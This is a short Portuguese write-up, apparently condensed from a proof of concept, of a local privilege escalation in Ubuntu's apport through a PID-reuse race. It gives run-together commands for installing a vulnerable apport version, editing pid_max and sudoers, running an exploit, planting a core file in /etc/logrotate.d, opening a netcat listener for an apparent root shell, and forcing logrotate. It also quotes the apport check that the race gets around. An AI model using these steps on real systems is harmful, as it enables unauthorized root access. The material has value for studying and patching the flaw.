
condição de corrida no apport leva a escalação de privilégio local no Ubuntu
sudo apt-get install apport=2.20.11-0ubuntu27 (qualquer versão <= 2.20.11-0ubuntu27.10 serve, mas você precisa baixar o código-fonte)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping em /etc/sudoersulimit -c unlimited; ./exploit/etc/logrotate.d/corenc -lvcp 1234sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf para acionar o logrotate imediatamente. (igual a /etc/cron.daily/logrotate)Apport verificará se o pid está sendo reutilizado, verificando se o tempo de início do processo é posterior ao do próprio apport:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
Mas este pid pode ser reutilizado logo após o apport ser lançado. Nesse caso, get_apport_starttime() == get_process_starttime().
Então, você pode fazer o apport gerar um arquivo core com -rw------- root:root, se você puder reocupar este PID com outro processo executando sob uid==0:
sudo ping 8.8.8.8 com cwd /etc/logrotate.d/. um processo executando sob root:root irá reocupar o pid A.